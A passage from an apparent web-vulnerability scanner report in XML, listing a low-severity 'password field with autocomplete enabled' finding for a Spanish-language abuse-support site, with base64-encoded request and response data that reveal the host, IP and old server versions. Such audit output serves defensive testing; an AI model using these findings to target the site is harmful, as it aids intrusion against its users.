CAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0ZGRkZGRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAwIiBjbGFzcz0iYm90b24iPjxzdHJvbmc+VU5BIEpVRVpBIERFIFZJTExBIEdFU0VMTCBSRUNIQVpPIEVMIFBFRElETyBERSBVTiBQQURSRSBRVUUgU0UgQVBPWUFCQSBFTiBFTCBTQVAsIERFTlVOQ0lBRE8gUE9SIEFCVVNBUiBERSBTVSBISUpPPC9zdHJvbmc+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBjb2xzcGFuPSI3IiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3X3RvZGFzIiBjbGFzcz0iYm90b24iPjxzdHJvbmc+VmVyIFRvZGFzIGxhcyBOb3RpY2lhczwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogIDwvdHI+CjwvdGFibGU+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
96 <responseRedirected>false</responseRedirected>
97 </requestresponse>
98 </issue>
99 <issue>
100 <serialNumber>6589706705335705600</serialNumber>
101 <type>5244928</type>
102 <name>Password field with autocomplete enabled</name>
103 <host ip="200.20.20.201">http://www.example.org.ar</host>
104 <path><![CDATA[/index.php]]></path>
105 <location><![CDATA[/index.php]]></location>
106 <severity>Low</severity>
107 <confidence>Certain</confidence>
108 <issueBackground><![CDATA[Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.<br><br>The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks. ]]></issueBackground>
109 <remediationBackground><![CDATA[To prevent browsers from storing credentials entered into HTML forms, you should include the attribute <b>autocomplete="off"</b> within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).]]></remediationBackground>
110 <issueDetail><![CDATA[The page contains a form with the following action URL:<ul><li>http://www.example.org.ar/login.php</li></ul>The form contains the following password field with autocomplete enabled:<ul><li>pass</li></ul>]]></issueDetail>
111 <requestresponse>
112 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHAgSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCkNvbm5lY3Rpb246IGNsb3NlDQoNCg==]]></request>
113 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbW